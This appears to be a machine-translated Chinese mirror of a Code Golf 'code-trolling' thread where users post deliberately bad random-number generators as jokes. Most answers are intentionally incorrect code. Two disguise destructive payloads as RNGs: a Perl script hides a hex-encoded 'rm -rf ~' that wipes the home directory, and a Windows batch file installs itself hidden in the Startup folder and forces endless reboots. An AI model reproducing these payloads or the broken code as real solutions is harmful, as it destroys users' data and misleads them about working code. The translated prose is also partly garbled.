生成数字的随机序列


16

挑战:

生成数字的随机序列。唯一的输入应该是序列的长度。

纯功能解决方案的额外Internet点。

注意:这是一个询问问题。请不要认真对待问题和/或答案。更多信息在这里




根据官方立场,代码拖曳正在被删除这个问题有很多答案和投票,在民意测验中获得了50%的“保留”选票,并且是第一个[code-trolling]帖子之一,因此我将其锁定为具有历史意义。
门把手

Answers:


37

蟒蛇

获取随机的维基百科文章,并获取一系列长度为num的html字符,并获取其数值

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

我喜欢我的回答...但是我需要为此+1。

9
这个故事的寓意是:用Wikipedia做作业是骗人的。
Wrzlprmft

我唯一不喜欢的部分是不同数字的概率分布不一致。但这很容易原谅,因为这很棒。
凯文

@Kevin:OP不需要均匀分布的随机数。实际上,这给了我一个主意……
Wrzlprmft

31

来自其他答案的所有程序都只会生成所谓的“伪随机数”,在未经训练的人看来,它们可能是随机的,但实际上遵循某种模式。

以下程序通过将计算机变成用于背景辐射的粒子检测器来生成实际的随机数。由于这是基于量子效应的,所以它实际上是随机的,无法预测。另外,如果将计算机启动到太空中,该程序实际上可以更快地运行。是的,这听起来确实很酷。

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

扰流板:

该程序生成两个相同的内存,然后等待背景辐射更改其中一个内存需要多长时间。然后,等待时间以随机数的形式返回,如果不是整数溢出,则将以指数形式分配。这样的事件在太空中的可能性更大,是航天学中的实际问题,可以通过辐射硬化来解决。因此,引言中的每一个陈述都在一定程度上是正确的,除了关于冷静的方面。

不幸的是,这样的事件使计算机或至少程序崩溃,而不是完全影响这两个内存块。此外,它可能需要一段时间。最后,由kinokijuf指出,背景辐射是外部的过程,所以jk应标记为volatile编译器(或者你应该使用编译器,在所有优化没有)。

PS: 扩展这个想法,也可以只创建一个填充零的数组,然后打印它。ε有机会使背景辐射在存储和打印之间改变零,因此打印的内容是随机的-OP从未说过如何分配随机数。


6
+1分加分,但没有用。
emory

7
注意,背景辐射检测代码将由编译器优化。
kinokijuf

1
@kinokijuf:太可惜了(每个编译器都与选项无关吗?)。无论如何,由于这是代码拖曳,因此我在此声明答案的功能。
Wrzlprmft

14
除非将它们标记为易失性,否则您的代码实际上将按预期工作。
kinokijuf

1
有什么方法可以确保jk始终使用内存中的某些位置吗?(我使用C的程度不是很高;我是Java和C#程序员。)如果是这样,则可以设计硬件,以使这些位置不受辐射加固的保护,而系统的其余部分则受到保护。
凯文

10

由于随机性纯粹是确定性的,因此很难在计算机上实现。在计算机上生成随机数是一个非常活跃的研究领域,通常涉及状态级别的参与者(请参见Dual_EC_DRBG)。但是,在现代的多任务操作系统上,线程调度程序在某些情况下可能会通过。为此,我们将对当前时间片的控制权交还给操作系统,并记下重新安排我们需要多长时间。根据操作系统和负载,这可能会产生所需的结果。

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

2
这几乎是一个严肃的解决方案!
Abhinav Sarkar 2013年

8

C#

由于外购软件的用户天生就具有随机性,为什么不利用它来获取我们的优势?

此代码获取屏幕截图,并将其与其他一些数据结合使用以生成随机序列。不使用内置的随机发生器会获得奖励积分吗?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

7

蟒蛇

很容易发现常见的陷阱:随机数的非均匀分布来源,没有随机化。我的解决方案通过使用深入的数学见解以及一种简单但有效的技巧将当前时间随机化,从而极大地避免了这些问题:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

如果对少量数字(9个或更少)进行一次测试,效果很好,但是对有严重缺陷的测试只进行了一点测试:

  • math.pi 句点后仅包含几位数字
  • time.localtime()[8]不返回毫秒或内核时钟,而是0或1,具体取决于是否为夏时制。因此,随机种子每半年一次更改一次。因此,基本上没有随机化。
  • 这只会返回0到9之间的随机数。
  • random_numbers[:number] 输入一个 number大于15且仅吐出15个随机数。

不幸的是,这是受到曾经类似工作的Delphi 1.0随机函数的启发。


6

红宝石

问题要求一个序列。再来一次...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

这是100%随机的。不完全是。
太糟糕的是,此代码对OP
毫无意义(object_id到底是什么?)而且,它是特定于实现的,这意味着它在不同的ruby版本之间起作用或不起作用(在2.1.0p0上运行)。
最重要的是,这可能会做一些令人讨厌的事情,因为OP可能会试验object_id ...

输出示例:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

编辑:

修改以$$用于真正的随机性(在OS级别)。


我可以在C语言中执行此操作,甚至获得更多垃圾,但是在C语言中进行伪随机操作有什么乐趣呢?

5

爪哇

当心,这是一个技巧问题.....

Java中的大多数人都将使用math.random()来帮助生成此序列,但是他们会感到困惑,因为它们只会得到积极的结果!random()返回从0到1的十进制值(不包括1本身)。因此,您必须采取一些技巧,以确保您在整个整数范围(正值和负值)中都能很好地分配随机值。

另外,您不能简单地相乘Math.random()Integer.MAX_VALUE因为您将永远不会将Integer.MAX_VALUE自身包括在结果中!同样,这样做是合乎逻辑的,math.rand() * (Integer.MAX_VALUE + 1)以便获得完整的发行版,但是,这当然不起作用,因为Integer.MAX_VALUE + 1它将溢出并变为Integer.MIN_VALUE!。因此,不幸的是,最好的解决方案是对数据进行按位操作...

因此,这是一个完整的序列,用于生成范围Integer.MIN_VALUE为的n个随机值Integer.MAX_VALUE(包括两个极端(这是最困难的部分!!!!)):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

产生如下输出:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

当然,以上是完整的BS答案。它不会产生很好的描述,并且会“隐藏”严重的错误(^=应该是|=)。它还隐藏了一个不太严重的错误(order-pf-precedence意味着我们实际上根本不乘以质数!)使用花哨的单词,质数和大量注释是没有理由相信代码的...当然,如果您要执行上述操作,则应使用java.util.Random.nextInt()


4

爪哇

现在回头看程序,我忘了关闭Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

3
(非拖钓)您可以处理关闭的流/等。使用Java在Java 7中更容易try (Scanner reader = new Scanner(System.in)) { ... }
wchargin

4

佩尔

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

我在执行$\输出时所采用的策略与在其他代码询问中所采用的策略相同。另外,您还注意到我$$RANDU算法中投入了大量资金。

编辑:为了更好地解释,RANDU是一种非常不安全的PRNG。维基百科将其描述为“有史以来设计最糟糕的随机数生成器之一”。它的主要缺点如下:

f(x)= 6 * f(x-1)-9 * f(x-2)


3

这是一个随机数生成器base 2^CHAR_BIT

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

1
您应该length只分配。当示例运行正常时,损坏的数据是最好的。
John Dvorak 2013年

3

在javascript中,具有功能样式:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

我不知道有可能像这样写JS 0_0
Kevin

3

C

对于创建0到1337之间的随机数的小型应用程序,此功能非常有用。建议多次调用以确保最大的随机性。

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

我的RAM和页面文件正在哭泣。
凯文

3

著名的Blum Blum Shub发电机。因为随机数生成器应该在密码上安全,并且有什么比通过模糊方式更好的安全性。

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(包括可怕的变量名,基于对维基百科的快速扫描的错误实现,以及出于娱乐目的而抛出的无用的函数指针魔术)


2
int argv, char* argc[]天哪,为什么?
Joe Z.

2

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

使用一些垃圾堆数据。哦,别忘了泄漏指针。


2

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

优点:

  • 有用。
  • 有时。
  • 有效的(ish)C89。
  • 糟糕的C ++。
  • 使用C标头,因为它using namespace std;EVIL,我们不想使用所有这些名称空间查找来减慢程序速度。
  • 我们通过使用具有硬编码值的模量来避免速度的均匀分布,而有利于速度(TODO:将其更改为使用比特移位以获得更大的原始速度)。
  • 可以通过在同一时钟秒内执行多个时间来验证确定性。
  • 为什么这段代码很糟糕,原因尚不清楚,以至于OP可能不会意识到。

缺点:

  • 为什么这段代码不好是不够明显的,以至于OP的教授(评分员)可能不会意识到。
  • 这似乎通常被认为是可以接受的解决方案。
  • 需要更多RAW SPEED。

1
Lemme猜想,如果argv[1]不是整数(或者更糟的是,如果它为null),它具有未定义的行为吗?
Joe Z.

1
哦,如果argv [1]不编码整数,它将很好用;atoi只会返回零。当编码的整数超出的范围时,它会变得多毛int
斯图尔特·奥尔森

2

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

2

TI基本83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

输入-3

输出-{2,3,1}


之所以有效是因为它归结为 :Input A:Disp randIntNoRep(1,A)


1

这是一个Python解决方案。您无法证明这不是随机的!

def get_random(num):
    print '3' * num

get_random(5)例如,通过调用尝试一下。


5
这不是随机的,因为您可以通过查看代码来预测输出。您甚至不需要知道它何时运行!

@Shingetsu OP正在使用文字游戏来基本上说“您可以证明它是随机的”。
C1D

1

佩尔

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

这个程序按照OP的要求使用了一些非常简单的perl代码来执行操作,但是在递归删除其主目录之前没有这样做(当然,实际上并没有编写rm -rf〜)。

我没有测试过(出于明显的原因)。


3
万一有人尝试了代码示例,代码拖曳答案不应被认为具有破坏性。
凯文(Kevin)

1

Python 3

这不仅浪费很多时间(实际时间和CPU时间),而且只返回10个随机数。

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

1

红宝石

您可能知道并非所有数字都是随机的。该程序会检查所有数字,并只为您提供真正的数字随机的数字。

请注意,Ruby代码阅读起来有些棘手。它的效率不如英语,因为计算机有些愚蠢,有时您必须向计算机重复重要的单词。

因此,我#comments在代码中添加了一些内容。注释中的大写单词表示该单词在Ruby代码中的工作方式。

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

稍后可能会进行更详细的解释,但示例运行中的输出应将其中的一部分删除:[1、3、5、10、180、607、639、1694、21375、75580、137110、149609] ...仍然虽然有点随机。


1

以下Windows Batch脚本将生成一个OUTPUT.TXT在配置文件文件夹中命名为随机数字的文件。保证生成几乎完全真实的随机数。只需将此代码粘贴到记事本中,另存为"FileName.CMD"(带引号)并执行。

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

顺便说一句,必须输入要生成的随机数,这太麻烦了。只需按住电源按钮使其停止生成即可。更轻松!加:它不需要键盘。


说明:该脚本将自身复制到启动文件夹(如果尚未存在),获取厘秒%time%,将其写入%userprofile%\OUTPUT.TXT,然后重新启动计算机。重新启动计算机后,它将再次执行相同的操作。
user2428118 2014年

1

a

这是一个过分实现,过于复杂,混乱(甚至带有语法突出显示功能)的函数,它以一种过于复杂的方式生成不合理的大量数字。而不是返回数字字符串,而是将它们打印在屏幕上,这使得在程序中使用它不切实际。很难编辑,所以如果您的victum要求您修复它,请说它太复杂了。

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

0

C#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

请注意,它倾向于打破较长的序列,但是当它起作用时,它会生成非常随机的数


0

Fortran

您的计算机已经有一个内置的随机数,因此您只需要访问它即可:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

显然是不可移植的,因为它要求用户使用* nix系统(但是谁仍然使用Windows?)。


0

我假设您当然需要很多随机数。哪个需要...

Bash和Hadoop

当然,在NSA时代,仅使用单个随机来源是不可靠的。他们可能已经木马了您的计算机。但是他们不会对您的整个集群进行木马!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

接下来,该脚本将根据需要运行集群作业:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

谢谢上帝,我们拥有Hadoop的力量!


是Bash,这就是它的本质:)
Riot


0

ANSI C

这是非常棘手的,我不会对此太担心。只需将以下代码复制并粘贴到您的库中,您将永远处于黄金状态。

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

0

尝试使用C ++-快速,强大,所需的一切:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

顺便说一句,为了获得最佳效果,您将需要使用class


说明:
1.他不需要使用它class-这完全是多余的。
2. in中的return语句generate_num()实际返回number ^(number ^ 0),其结果为number ^ 1,即number。这也是多余的。
3.最不必要的错误处理-这种基本的数据打孔可能会出什么问题?
4.我std::std命名空间的所有元素之前使用过。这也是多余的。
5. #define语句也是不必要的-我这样做是为了让他认为我为该程序专门定义了这些类型。

免责声明:
该程序实际上有效;但是,我不建议任何人或实体在他们的代码中使用它来现实生活。我对此代码不保留任何权利;换句话说,我将其完全开源。


使用std::前缀而不使用using namespace std,实际上是一个好习惯,这样就不会污染全局范围。(如果您很懒,using std::cout并且这样还是比做的要好using namespace std。)
nyuszika7h 2013年

哦。Bjarne Stroustrup说直接使用using namespace std;并指定所有其他类。

0

蟒蛇

承担功能部分-几乎是单线的python

import random
map(lambda x: random.random(), xrange(input())
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.